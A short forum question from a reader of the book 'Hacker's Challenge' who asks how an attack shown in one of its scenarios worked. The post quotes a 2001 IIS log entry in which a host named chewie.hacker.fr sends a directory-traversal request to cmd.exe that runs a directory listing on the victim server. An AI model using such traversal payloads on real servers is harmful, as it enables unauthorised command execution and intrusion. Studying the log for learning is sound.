I just got that book hackers Challenge and im on the french connection. I figured out what the hacker did but i dont know how it works. Now check out this log


03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe / /c+dir+d: \ 200 747 484 31
www.victim.com Mozilla/4.0+(compamible; +MSIE+5.0; +Windows+98)



Now correct me if im wrong but what the hacker did was remotely open the cmd.exe program and got a remote shell. HOW THE HELL?